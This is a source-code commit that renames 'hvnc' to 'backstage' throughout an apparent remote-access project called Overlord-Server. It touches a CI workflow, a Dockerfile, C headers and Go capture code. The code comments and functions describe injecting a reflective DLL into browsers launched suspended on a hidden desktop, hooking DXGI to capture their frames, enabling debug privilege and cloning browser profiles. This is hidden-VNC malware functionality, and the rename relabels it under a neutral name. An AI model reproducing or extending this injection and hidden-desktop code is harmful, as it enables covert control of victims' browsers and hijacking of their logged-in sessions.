rename all instances of "hvnc" to "backstage"
This commit is contained in:
@@ -47,10 +47,10 @@ jobs:
|
||||
shell: cmd
|
||||
run: call scripts\build-backstage-capture-dll.bat
|
||||
|
||||
- name: Upload HVNC DLLs
|
||||
- name: Upload backstage DLLs
|
||||
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
|
||||
with:
|
||||
name: hvnc-dll
|
||||
name: backstage-dll
|
||||
path: |
|
||||
Overlord-Server/dist-clients/BackstageInjection.x64.dll
|
||||
Overlord-Server/dist-clients/BackstageCapture.x64.dll
|
||||
@@ -68,10 +68,10 @@ jobs:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- name: Download HVNC DLLs
|
||||
- name: Download backstage DLLs
|
||||
uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
|
||||
with:
|
||||
name: hvnc-dll
|
||||
name: backstage-dll
|
||||
path: Overlord-Server/dist-clients
|
||||
|
||||
- name: Read Source Version
|
||||
|
||||
@@ -111,12 +111,12 @@ static UINT64 GetTimestampNs(void) {
|
||||
|
||||
static void BuildShmName(char* out, size_t outLen) {
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
snprintf(out, outLen, "%s%lu", HVNC_SHM_PREFIX, (unsigned long)pid);
|
||||
snprintf(out, outLen, "%s%lu", backstage_SHM_PREFIX, (unsigned long)pid);
|
||||
}
|
||||
|
||||
static void BuildEventName(char* out, size_t outLen) {
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
snprintf(out, outLen, "%s%lu", HVNC_EVENT_PREFIX, (unsigned long)pid);
|
||||
snprintf(out, outLen, "%s%lu", backstage_EVENT_PREFIX, (unsigned long)pid);
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
@@ -124,7 +124,7 @@ static void BuildEventName(char* out, size_t outLen) {
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
static BOOL EnsureSharedMemory(UINT width, UINT height) {
|
||||
UINT stride = width * 4;
|
||||
SIZE_T needed = sizeof(HVNCFrameHeader) + (SIZE_T)stride * height;
|
||||
SIZE_T needed = sizeof(backstageFrameHeader) + (SIZE_T)stride * height;
|
||||
|
||||
if (g_ShmView && g_ShmSize >= needed) {
|
||||
return TRUE;
|
||||
@@ -281,7 +281,7 @@ static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
|
||||
UINT w = bbDesc.Width;
|
||||
UINT h = bbDesc.Height;
|
||||
|
||||
if (w == 0 || h == 0 || w > HVNC_MAX_WIDTH || h > HVNC_MAX_HEIGHT) {
|
||||
if (w == 0 || h == 0 || w > backstage_MAX_WIDTH || h > backstage_MAX_HEIGHT) {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
@@ -378,7 +378,7 @@ static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
|
||||
|
||||
UINT dstStride = w * 4;
|
||||
UINT srcPitch = mapped.RowPitch;
|
||||
BYTE* dst = (BYTE*)g_ShmView + sizeof(HVNCFrameHeader);
|
||||
BYTE* dst = (BYTE*)g_ShmView + sizeof(backstageFrameHeader);
|
||||
BYTE* src = (BYTE*)mapped.pData;
|
||||
|
||||
for (UINT y = 0; y < h; y++) {
|
||||
@@ -389,9 +389,9 @@ static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
|
||||
|
||||
// Write header (AFTER pixel data + barrier so reader sees consistent data)
|
||||
g_FrameSeq++;
|
||||
HVNCFrameHeader* hdr = (HVNCFrameHeader*)g_ShmView;
|
||||
hdr->magic = HVNC_FRAME_MAGIC;
|
||||
hdr->version = HVNC_FRAME_VERSION;
|
||||
backstageFrameHeader* hdr = (backstageFrameHeader*)g_ShmView;
|
||||
hdr->magic = backstage_FRAME_MAGIC;
|
||||
hdr->version = backstage_FRAME_VERSION;
|
||||
hdr->width = w;
|
||||
hdr->height = h;
|
||||
hdr->stride = dstStride;
|
||||
|
||||
@@ -1,15 +1,15 @@
|
||||
//===============================================================================================//
|
||||
// BackstageCapture — DXGI SwapChain::Present hook for fast HVNC frame capture.
|
||||
// BackstageCapture — DXGI SwapChain::Present hook for fast backstage frame capture.
|
||||
//
|
||||
// Injected into browser processes running on the hidden desktop. Hooks
|
||||
// IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer
|
||||
// to a named shared-memory section so the Go capture thread can read them
|
||||
// directly instead of using the slow PrintWindow API.
|
||||
//
|
||||
// Shared memory layout (HVNCFrameHeader at offset 0, then pixel data):
|
||||
// [HVNCFrameHeader][BGRA pixel data, stride-aligned rows]
|
||||
// Shared memory layout (backstageFrameHeader at offset 0, then pixel data):
|
||||
// [backstageFrameHeader][BGRA pixel data, stride-aligned rows]
|
||||
//
|
||||
// Signaling: named event "Local\hvnc_frame_{pid}" is set after each new frame.
|
||||
// Signaling: named event "Local\backstage_frame_{pid}" is set after each new frame.
|
||||
//===============================================================================================//
|
||||
#ifndef _DXGI_CAPTURE_H
|
||||
#define _DXGI_CAPTURE_H
|
||||
@@ -33,7 +33,7 @@ void RemoveDXGICapture(void);
|
||||
// Shared memory header — must match Go-side definition exactly.
|
||||
#pragma pack(push, 1)
|
||||
typedef struct {
|
||||
UINT32 magic; // 'HVNC' = 0x434E5648
|
||||
UINT32 magic; // 'backstage' = 0x434E5648
|
||||
UINT32 version; // 1
|
||||
UINT32 width;
|
||||
UINT32 height;
|
||||
@@ -43,19 +43,19 @@ typedef struct {
|
||||
UINT64 timestampNs; // QueryPerformanceCounter-based nanoseconds
|
||||
UINT32 pid; // process ID that produced this frame
|
||||
UINT32 reserved; // alignment padding
|
||||
} HVNCFrameHeader;
|
||||
} backstageFrameHeader;
|
||||
#pragma pack(pop)
|
||||
|
||||
#define HVNC_FRAME_MAGIC 0x434E5648 // 'HVNC'
|
||||
#define HVNC_FRAME_VERSION 1
|
||||
#define backstage_FRAME_MAGIC 0x434E5648 // 'backstage'
|
||||
#define backstage_FRAME_VERSION 1
|
||||
|
||||
// Maximum frame dimensions we support (prevents runaway allocation)
|
||||
#define HVNC_MAX_WIDTH 7680
|
||||
#define HVNC_MAX_HEIGHT 4320
|
||||
#define backstage_MAX_WIDTH 7680
|
||||
#define backstage_MAX_HEIGHT 4320
|
||||
|
||||
// Shared memory name format — {pid} is the decimal process ID
|
||||
// e.g. "Local\hvnc_frame_12345"
|
||||
#define HVNC_SHM_PREFIX "Local\\hvnc_frame_"
|
||||
#define HVNC_EVENT_PREFIX "Local\\hvnc_evt_"
|
||||
// e.g. "Local\backstage_frame_12345"
|
||||
#define backstage_SHM_PREFIX "Local\\backstage_frame_"
|
||||
#define backstage_EVENT_PREFIX "Local\\backstage_evt_"
|
||||
|
||||
#endif // _DXGI_CAPTURE_H
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
|
||||
#ifndef _HVNC_SEH_COMPAT_H
|
||||
#define _HVNC_SEH_COMPAT_H
|
||||
#ifndef _backstage_SEH_COMPAT_H
|
||||
#define _backstage_SEH_COMPAT_H
|
||||
|
||||
#ifdef __MINGW32__
|
||||
// MinGW doesn't support MSVC structured exception handling.
|
||||
@@ -15,4 +15,4 @@
|
||||
#endif
|
||||
#endif // __MINGW32__
|
||||
|
||||
#endif // _HVNC_SEH_COMPAT_H
|
||||
#endif // _backstage_SEH_COMPAT_H
|
||||
|
||||
@@ -17,9 +17,9 @@ extern "C" {
|
||||
|
||||
// Portable secure string helpers for MinGW compatibility
|
||||
#ifndef _MSC_VER
|
||||
#ifndef _HVNC_PORTABLE_CRT
|
||||
#define _HVNC_PORTABLE_CRT
|
||||
static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *src, size_t count) {
|
||||
#ifndef _backstage_PORTABLE_CRT
|
||||
#define _backstage_PORTABLE_CRT
|
||||
static inline void _backstage_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *src, size_t count) {
|
||||
if (!dst || dstSize == 0) return;
|
||||
size_t toCopy = (count < dstSize - 1) ? count : dstSize - 1;
|
||||
size_t i;
|
||||
@@ -27,7 +27,7 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
||||
dst[i] = src[i];
|
||||
dst[i] = L'\0';
|
||||
}
|
||||
#define wcsncpy_s(dst, dstSize, src, count) _hvnc_wcsncpy_s((dst), (dstSize), (src), (count))
|
||||
#define wcsncpy_s(dst, dstSize, src, count) _backstage_wcsncpy_s((dst), (dstSize), (src), (count))
|
||||
#define sprintf_s(buf, size, ...) snprintf((buf), (size), __VA_ARGS__)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
|
||||
#ifndef _HVNC_SEH_COMPAT_H
|
||||
#define _HVNC_SEH_COMPAT_H
|
||||
#ifndef _backstage_SEH_COMPAT_H
|
||||
#define _backstage_SEH_COMPAT_H
|
||||
|
||||
#ifdef __MINGW32__
|
||||
#if defined(NDEBUG)
|
||||
@@ -37,4 +37,4 @@
|
||||
#endif
|
||||
#endif // __MINGW32__
|
||||
|
||||
#endif // _HVNC_SEH_COMPAT_H
|
||||
#endif // _backstage_SEH_COMPAT_H
|
||||
|
||||
+2
-2
@@ -97,7 +97,7 @@ RUN mkdir -p dist-clients && \
|
||||
echo "Using pre-built MSVC BackstageInjection DLL"; \
|
||||
else \
|
||||
chmod +x scripts/build-backstage-dll.sh && \
|
||||
HVNC_SRC_DIR=BackstageInjection/src HVNC_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \
|
||||
BACKSTAGE_SRC_DIR=BackstageInjection/src BACKSTAGE_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \
|
||||
echo "WARNING: BackstageInjection DLL not available (build with MSVC on Windows)"; \
|
||||
fi
|
||||
|
||||
@@ -105,7 +105,7 @@ RUN if [ -f dist-clients/BackstageCapture.x64.dll ]; then \
|
||||
echo "Using pre-built MSVC BackstageCapture DLL"; \
|
||||
else \
|
||||
chmod +x scripts/build-backstage-capture-dll.sh && \
|
||||
HVNC_CAPTURE_SRC_DIR=BackstageCapture/src HVNC_CAPTURE_OUT_DIR=dist-clients bash scripts/build-backstage-capture-dll.sh || \
|
||||
BACKSTAGE_CAPTURE_SRC_DIR=BackstageCapture/src BACKSTAGE_CAPTURE_OUT_DIR=dist-clients bash scripts/build-backstage-capture-dll.sh || \
|
||||
echo "WARNING: BackstageCapture DLL not available (build with MSVC on Windows)"; \
|
||||
fi
|
||||
|
||||
|
||||
@@ -12,9 +12,9 @@ import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// hvncFrameHeader mirrors the C HVNCFrameHeader struct.
|
||||
// backstageFrameHeader mirrors the C backstageFrameHeader struct.
|
||||
// must be kept in sync with BackstageCapture/src/DXGICapture.h.
|
||||
type hvncFrameHeader struct {
|
||||
type backstageFrameHeader struct {
|
||||
Magic uint32
|
||||
Version uint32
|
||||
Width uint32
|
||||
@@ -28,11 +28,11 @@ type hvncFrameHeader struct {
|
||||
}
|
||||
|
||||
const (
|
||||
hvncFrameMagic = 0x434E5648 // 'HVNC'
|
||||
hvncFrameVersion = 1
|
||||
hvncFrameHeaderSize = 48 // sizeof(HVNCFrameHeader)
|
||||
hvncShmPrefix = `Local\hvnc_frame_`
|
||||
hvncEventPrefix = `Local\hvnc_evt_`
|
||||
backstageFrameMagic = 0x434E5648 // 'backstage'
|
||||
backstageFrameVersion = 1
|
||||
backstageFrameHeaderSize = 48 // sizeof(backstageFrameHeader)
|
||||
backstageShmPrefix = `Local\backstage_frame_`
|
||||
backstageEventPrefix = `Local\backstage_evt_`
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -46,7 +46,7 @@ const (
|
||||
SYNCHRONIZE = 0x00100000
|
||||
)
|
||||
|
||||
type hvncFrameReader struct {
|
||||
type backstageFrameReader struct {
|
||||
pid uint32
|
||||
shmHandle uintptr
|
||||
shmView unsafe.Pointer
|
||||
@@ -58,34 +58,34 @@ type hvncFrameReader struct {
|
||||
}
|
||||
|
||||
var (
|
||||
hvncFrameReaders = make(map[uint32]*hvncFrameReader)
|
||||
hvncFrameReadersMu sync.Mutex
|
||||
backstageFrameReaders = make(map[uint32]*backstageFrameReader)
|
||||
backstageFrameReadersMu sync.Mutex
|
||||
|
||||
hvncGPUPIDMap = make(map[uint32]uint32)
|
||||
backstageGPUPIDMap = make(map[uint32]uint32)
|
||||
)
|
||||
|
||||
func hvncRegisterGPUPID(browserPID, gpuPID uint32) {
|
||||
hvncFrameReadersMu.Lock()
|
||||
hvncGPUPIDMap[browserPID] = gpuPID
|
||||
hvncFrameReadersMu.Unlock()
|
||||
log.Printf("hvnc dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
|
||||
func backstageRegisterGPUPID(browserPID, gpuPID uint32) {
|
||||
backstageFrameReadersMu.Lock()
|
||||
backstageGPUPIDMap[browserPID] = gpuPID
|
||||
backstageFrameReadersMu.Unlock()
|
||||
log.Printf("backstage dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
|
||||
}
|
||||
|
||||
func hvncGetFrameReader(pid uint32) *hvncFrameReader {
|
||||
hvncFrameReadersMu.Lock()
|
||||
defer hvncFrameReadersMu.Unlock()
|
||||
func backstageGetFrameReader(pid uint32) *backstageFrameReader {
|
||||
backstageFrameReadersMu.Lock()
|
||||
defer backstageFrameReadersMu.Unlock()
|
||||
|
||||
if r, ok := hvncFrameReaders[pid]; ok {
|
||||
if r, ok := backstageFrameReaders[pid]; ok {
|
||||
if r.staleCount > 300 {
|
||||
log.Printf("hvnc dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
|
||||
log.Printf("backstage dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
|
||||
r.close()
|
||||
delete(hvncFrameReaders, pid)
|
||||
delete(backstageFrameReaders, pid)
|
||||
} else {
|
||||
return r
|
||||
}
|
||||
}
|
||||
|
||||
shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncShmPrefix, pid))
|
||||
shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageShmPrefix, pid))
|
||||
shmHandle, _, _ := procOpenFileMappingW.Call(
|
||||
FILE_MAP_READ,
|
||||
0,
|
||||
@@ -99,21 +99,21 @@ func hvncGetFrameReader(pid uint32) *hvncFrameReader {
|
||||
shmHandle,
|
||||
FILE_MAP_READ,
|
||||
0, 0,
|
||||
hvncFrameHeaderSize,
|
||||
backstageFrameHeaderSize,
|
||||
)
|
||||
if view == 0 {
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return nil
|
||||
}
|
||||
|
||||
hdr := (*hvncFrameHeader)(unsafe.Pointer(view))
|
||||
if hdr.Magic != hvncFrameMagic {
|
||||
hdr := (*backstageFrameHeader)(unsafe.Pointer(view))
|
||||
if hdr.Magic != backstageFrameMagic {
|
||||
procUnmapViewOfFile.Call(view)
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return nil
|
||||
}
|
||||
|
||||
fullSize := uintptr(hvncFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
|
||||
fullSize := uintptr(backstageFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
|
||||
|
||||
procUnmapViewOfFile.Call(view)
|
||||
view = 0
|
||||
@@ -130,30 +130,30 @@ func hvncGetFrameReader(pid uint32) *hvncFrameReader {
|
||||
return nil
|
||||
}
|
||||
|
||||
hdr2 := (*hvncFrameHeader)(unsafe.Pointer(fullView))
|
||||
hdr2 := (*backstageFrameHeader)(unsafe.Pointer(fullView))
|
||||
|
||||
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncEventPrefix, pid))
|
||||
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageEventPrefix, pid))
|
||||
evtHandle, _, _ := procOpenEventW.Call(
|
||||
SYNCHRONIZE,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(evtName)),
|
||||
)
|
||||
|
||||
r := &hvncFrameReader{
|
||||
r := &backstageFrameReader{
|
||||
pid: pid,
|
||||
shmHandle: shmHandle,
|
||||
shmView: unsafe.Pointer(fullView),
|
||||
shmSize: fullSize,
|
||||
evtHandle: evtHandle,
|
||||
}
|
||||
hvncFrameReaders[pid] = r
|
||||
backstageFrameReaders[pid] = r
|
||||
|
||||
log.Printf("hvnc dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
|
||||
log.Printf("backstage dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
|
||||
pid, hdr2.Width, hdr2.Height, fullSize)
|
||||
return r
|
||||
}
|
||||
|
||||
func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
|
||||
func (r *backstageFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
@@ -161,8 +161,8 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
hdr := (*hvncFrameHeader)(r.shmView)
|
||||
if hdr.Magic != hvncFrameMagic || hdr.Version != hvncFrameVersion {
|
||||
hdr := (*backstageFrameHeader)(r.shmView)
|
||||
if hdr.Magic != backstageFrameMagic || hdr.Version != backstageFrameVersion {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
@@ -184,19 +184,19 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
totalNeeded := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
totalNeeded := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
if totalNeeded > r.shmSize {
|
||||
r.remap(w, h, stride)
|
||||
if r.shmView == nil {
|
||||
return 0, 0, false
|
||||
}
|
||||
hdr = (*hvncFrameHeader)(r.shmView)
|
||||
if hdr.Magic != hvncFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
|
||||
hdr = (*backstageFrameHeader)(r.shmView)
|
||||
if hdr.Magic != backstageFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
|
||||
return 0, 0, false
|
||||
}
|
||||
}
|
||||
|
||||
pixelData := unsafe.Add(r.shmView, hvncFrameHeaderSize)
|
||||
pixelData := unsafe.Add(r.shmView, backstageFrameHeaderSize)
|
||||
srcSize := stride * h
|
||||
src := unsafe.Slice((*byte)(pixelData), srcSize)
|
||||
|
||||
@@ -217,13 +217,13 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
|
||||
return w, h, true
|
||||
}
|
||||
|
||||
func (r *hvncFrameReader) remap(w, h, stride int) {
|
||||
func (r *backstageFrameReader) remap(w, h, stride int) {
|
||||
if r.shmView != nil {
|
||||
procUnmapViewOfFile.Call(uintptr(r.shmView))
|
||||
r.shmView = nil
|
||||
}
|
||||
|
||||
newSize := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
newSize := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
view, _, _ := procMapViewOfFile.Call(
|
||||
r.shmHandle,
|
||||
FILE_MAP_READ,
|
||||
@@ -237,7 +237,7 @@ func (r *hvncFrameReader) remap(w, h, stride int) {
|
||||
r.shmSize = newSize
|
||||
}
|
||||
|
||||
func (r *hvncFrameReader) close() {
|
||||
func (r *backstageFrameReader) close() {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
@@ -255,51 +255,51 @@ func (r *hvncFrameReader) close() {
|
||||
}
|
||||
}
|
||||
|
||||
func hvncCleanupFrameReaders() {
|
||||
hvncFrameReadersMu.Lock()
|
||||
defer hvncFrameReadersMu.Unlock()
|
||||
func backstageCleanupFrameReaders() {
|
||||
backstageFrameReadersMu.Lock()
|
||||
defer backstageFrameReadersMu.Unlock()
|
||||
|
||||
for pid, r := range hvncFrameReaders {
|
||||
for pid, r := range backstageFrameReaders {
|
||||
r.close()
|
||||
delete(hvncFrameReaders, pid)
|
||||
delete(backstageFrameReaders, pid)
|
||||
}
|
||||
for k := range hvncGPUPIDMap {
|
||||
delete(hvncGPUPIDMap, k)
|
||||
for k := range backstageGPUPIDMap {
|
||||
delete(backstageGPUPIDMap, k)
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
hvncInjectedPIDs = make(map[uint32]time.Time)
|
||||
hvncInjectedPIDsMu sync.Mutex
|
||||
backstageInjectedPIDs = make(map[uint32]time.Time)
|
||||
backstageInjectedPIDsMu sync.Mutex
|
||||
)
|
||||
|
||||
func hvncRegisterInjectedPID(pid uint32) {
|
||||
hvncInjectedPIDsMu.Lock()
|
||||
hvncInjectedPIDs[pid] = time.Now()
|
||||
hvncInjectedPIDsMu.Unlock()
|
||||
func backstageRegisterInjectedPID(pid uint32) {
|
||||
backstageInjectedPIDsMu.Lock()
|
||||
backstageInjectedPIDs[pid] = time.Now()
|
||||
backstageInjectedPIDsMu.Unlock()
|
||||
}
|
||||
|
||||
func hvncGetInjectedPIDs() []uint32 {
|
||||
hvncInjectedPIDsMu.Lock()
|
||||
defer hvncInjectedPIDsMu.Unlock()
|
||||
pids := make([]uint32, 0, len(hvncInjectedPIDs))
|
||||
for pid := range hvncInjectedPIDs {
|
||||
func backstageGetInjectedPIDs() []uint32 {
|
||||
backstageInjectedPIDsMu.Lock()
|
||||
defer backstageInjectedPIDsMu.Unlock()
|
||||
pids := make([]uint32, 0, len(backstageInjectedPIDs))
|
||||
for pid := range backstageInjectedPIDs {
|
||||
pids = append(pids, pid)
|
||||
}
|
||||
return pids
|
||||
}
|
||||
|
||||
func hvncUnregisterInjectedPID(pid uint32) {
|
||||
hvncInjectedPIDsMu.Lock()
|
||||
delete(hvncInjectedPIDs, pid)
|
||||
hvncInjectedPIDsMu.Unlock()
|
||||
func backstageUnregisterInjectedPID(pid uint32) {
|
||||
backstageInjectedPIDsMu.Lock()
|
||||
delete(backstageInjectedPIDs, pid)
|
||||
backstageInjectedPIDsMu.Unlock()
|
||||
}
|
||||
|
||||
func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
|
||||
if len(data) < hvncFrameHeaderSize {
|
||||
func parsebackstageFrameHeader(data []byte) (*backstageFrameHeader, bool) {
|
||||
if len(data) < backstageFrameHeaderSize {
|
||||
return nil, false
|
||||
}
|
||||
hdr := &hvncFrameHeader{
|
||||
hdr := &backstageFrameHeader{
|
||||
Magic: binary.LittleEndian.Uint32(data[0:4]),
|
||||
Version: binary.LittleEndian.Uint32(data[4:8]),
|
||||
Width: binary.LittleEndian.Uint32(data[8:12]),
|
||||
@@ -311,7 +311,7 @@ func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
|
||||
PID: binary.LittleEndian.Uint32(data[40:44]),
|
||||
Reserved: binary.LittleEndian.Uint32(data[44:48]),
|
||||
}
|
||||
if hdr.Magic != hvncFrameMagic {
|
||||
if hdr.Magic != backstageFrameMagic {
|
||||
return nil, false
|
||||
}
|
||||
return hdr, true
|
||||
|
||||
@@ -4,20 +4,20 @@ package capture
|
||||
|
||||
import "errors"
|
||||
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
return 0, errors.New("HVNC injection not supported on this platform")
|
||||
func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
return 0, errors.New("backstage injection not supported on this platform")
|
||||
}
|
||||
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return errors.New("backstage injection not supported on this platform")
|
||||
}
|
||||
|
||||
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
||||
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||
type LaunchStatusFunc func(step string, success bool, detail string)
|
||||
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
return errors.New("backstage injection not supported on this platform")
|
||||
}
|
||||
|
||||
func CheckInstalledBrowsers() map[string]bool {
|
||||
|
||||
@@ -43,7 +43,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s
|
||||
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||
type LaunchStatusFunc func(step string, success bool, detail string)
|
||||
|
||||
var hvncDXGIStatusCallback atomic.Value
|
||||
var backstageDXGIStatusCallback atomic.Value
|
||||
|
||||
const (
|
||||
PROCESS_CREATE_THREAD = 0x0002
|
||||
@@ -158,10 +158,10 @@ func enableDebugPrivilege() {
|
||||
procAdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tp)), 0, 0, 0)
|
||||
}
|
||||
|
||||
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
|
||||
// StartbackstageProcessInjected starts a process suspended on the backstage desktop,
|
||||
// injects the reflective DLL, then resumes it.
|
||||
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
if filePath == "" {
|
||||
return 0, fmt.Errorf("empty file path")
|
||||
}
|
||||
@@ -169,8 +169,8 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
|
||||
return 0, fmt.Errorf("empty DLL bytes")
|
||||
}
|
||||
|
||||
result, err := executeHVNCTask(hvncTask{
|
||||
kind: hvncTaskStartProcessInjected,
|
||||
result, err := executebackstageTask(backstageTask{
|
||||
kind: backstageTaskStartProcessInjected,
|
||||
filePath: filePath,
|
||||
dllBytes: dllBytes,
|
||||
captureDllBytes: captureDllBytes,
|
||||
@@ -184,12 +184,12 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
|
||||
return result.pid, result.err
|
||||
}
|
||||
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
if onDXGIStatus != nil {
|
||||
hvncDXGIStatusCallback.Store(onDXGIStatus)
|
||||
backstageDXGIStatusCallback.Store(onDXGIStatus)
|
||||
}
|
||||
notify := func(step string, success bool, detail string) {
|
||||
log.Printf("hvnc %s: [%s] success=%v %s", browser, step, success, detail)
|
||||
log.Printf("backstage %s: [%s] success=%v %s", browser, step, success, detail)
|
||||
if onLaunchStatus != nil {
|
||||
onLaunchStatus(step, success, detail)
|
||||
}
|
||||
@@ -231,7 +231,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
|
||||
if !clone {
|
||||
notify("launch", true, "starting without profile cloning")
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
|
||||
pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
|
||||
if err != nil {
|
||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||
return err
|
||||
@@ -239,13 +239,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
|
||||
if info.needsPatch && pid != 0 {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc patch opera", nil)
|
||||
defer recoverAndLog("backstage patch opera", nil)
|
||||
patchOperaAsync(pid, 5, 2*time.Second)
|
||||
}()
|
||||
}
|
||||
if pid != 0 {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc crash monitor", nil)
|
||||
defer recoverAndLog("backstage crash monitor", nil)
|
||||
monitorProcessCrash(pid, info.name, notify)
|
||||
}()
|
||||
}
|
||||
@@ -274,7 +274,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
}
|
||||
if strings.EqualFold(fi.Name(), lockFile) {
|
||||
os.Remove(path)
|
||||
log.Printf("hvnc %s: removed lock file %s", info.name, path)
|
||||
log.Printf("backstage %s: removed lock file %s", info.name, path)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
@@ -283,13 +283,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
for _, lockFile := range []string{"SingletonLock", "SingletonCookie", "SingletonSocket"} {
|
||||
